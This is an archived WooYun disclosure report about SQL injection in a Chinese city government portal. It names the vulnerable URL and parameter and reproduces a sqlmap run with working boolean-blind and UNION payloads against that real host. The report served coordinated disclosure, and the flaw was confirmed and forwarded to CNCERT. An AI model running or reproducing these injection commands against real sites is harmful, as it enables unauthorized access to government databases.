当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-088293

漏洞标题:某市政府门户网站sql注入及未授权访问

相关厂商:cncert国家互联网应急中心

漏洞作者: Qiudays

提交时间:2014-12-23 16:40

修复时间:2015-02-06 16:42

公开时间:2015-02-06 16:42

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:10

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-12-23: 细节已通知厂商并且等待厂商处理中
2014-12-26: 厂商已经确认,细节仅向厂商公开
2015-01-05: 细节向核心白帽子及相关领域专家公开
2015-01-15: 细节向普通白帽子公开
2015-01-25: 细节向实习白帽子公开
2015-02-06: 细节向公众公开

简要描述:

没去过那里....

详细说明:

注入点:http://zs.baiyin.cn/spplay.asp?ArticleID=4390

漏洞证明:

注入:
sqlmap -u http://zs.baiyin.cn/spplay.asp?ArticleID=4390 --dbs
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 00:57:58
[00:58:16] [INFO] testing connection to the target URL
[00:58:17] [INFO] heuristics detected web page charset 'GB2312'
[00:58:18] [INFO] testing if the target URL is stable. This can take a couple of seconds
[00:58:19] [INFO] target URL is stable
[00:58:19] [INFO] testing if GET parameter 'ArticleID' is dynamic
[00:58:20] [WARNING] GET parameter 'ArticleID' does not appear dynamic
[00:58:22] [INFO] heuristic (basic) test shows that GET parameter 'ArticleID' might be injectable (possible DBMS: 'Microsoft Access')
[00:58:22] [INFO] testing for SQL injection on GET parameter 'ArticleID'
heuristic (parsing) test showed that the back-end DBMS could be 'Microsoft Access'. Do you want to skip test payloads specific for other DBMSes? [Y/n]
do you want to include all tests for 'Microsoft Access' extending provided level (1) and risk (1)? [Y/n]
[00:58:27] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[00:58:27] [WARNING] reflective value(s) found and filtering out
[00:58:50] [INFO] testing 'Microsoft Access boolean-based blind - Parameter replace (original value)'
[00:58:57] [INFO] GET parameter 'ArticleID' seems to be 'Microsoft Access boolean-based blind - Parameter replace (original value)' injectable
[00:58:57] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[00:58:57] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[00:58:58] [INFO] ORDER BY technique seems to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
[00:59:41] [CRITICAL] connection timed out to the target URL or proxy. sqlmap is going to retry the request
[00:59:44] [INFO] target URL appears to have 2 columns in query
[00:59:45] [INFO] heuristics detected web page charset 'ascii'
[00:59:46] [INFO] GET parameter 'ArticleID' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
GET parameter 'ArticleID' is vulnerable. Do you want to keep testing the others (if any)? [y/N]
sqlmap identified the following injection points with a total of 26 HTTP(s) requests:
---
Place: GET
Parameter: ArticleID
Type: boolean-based blind
Title: Microsoft Access boolean-based blind - Parameter replace (original value)
Payload: ArticleID=IIF(2479=2479,4390,1/0)
Type: UNION query
Title: Generic UNION query (NULL) - 2 columns
Payload: ArticleID=4390 UNION ALL SELECT NULL,CHR(113)&CHR(99)&CHR(115)&CHR(110)&CHR(113)&CHR(116)&CHR(67)&CHR(82)&CHR(86)&CHR(80)&CHR(116)&CHR(112)&CHR(76)&CHR(71)&CHR(108)&CHR(113)&CHR(103)&CHR(98)&CHR(114)&CHR(113) FROM MSysAccessObjects%16
---
[01:00:38] [INFO] the back-end DBMS is Microsoft Access
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft Access
[01:00:38] [WARNING] on Microsoft Access it is not possible to enumerate databases (use only '--tables')
[01:00:38] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 18 times
[01:00:38] [INFO] fetched data logged to text files under '/usr/share/sqlmap/output/zs.baiyin.cn'
[*] shutting down at 01:00:38

修复方案:

你懂得的...

版权声明:转载请注明来源 Qiudays@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2014-12-26 15:15

厂商回复:

CNVD确认并复现所述漏洞情况,已经转由CNCERT下发给甘肃分中心,由甘肃分中心后续协调网站管理单位处置。

最新状态:

暂无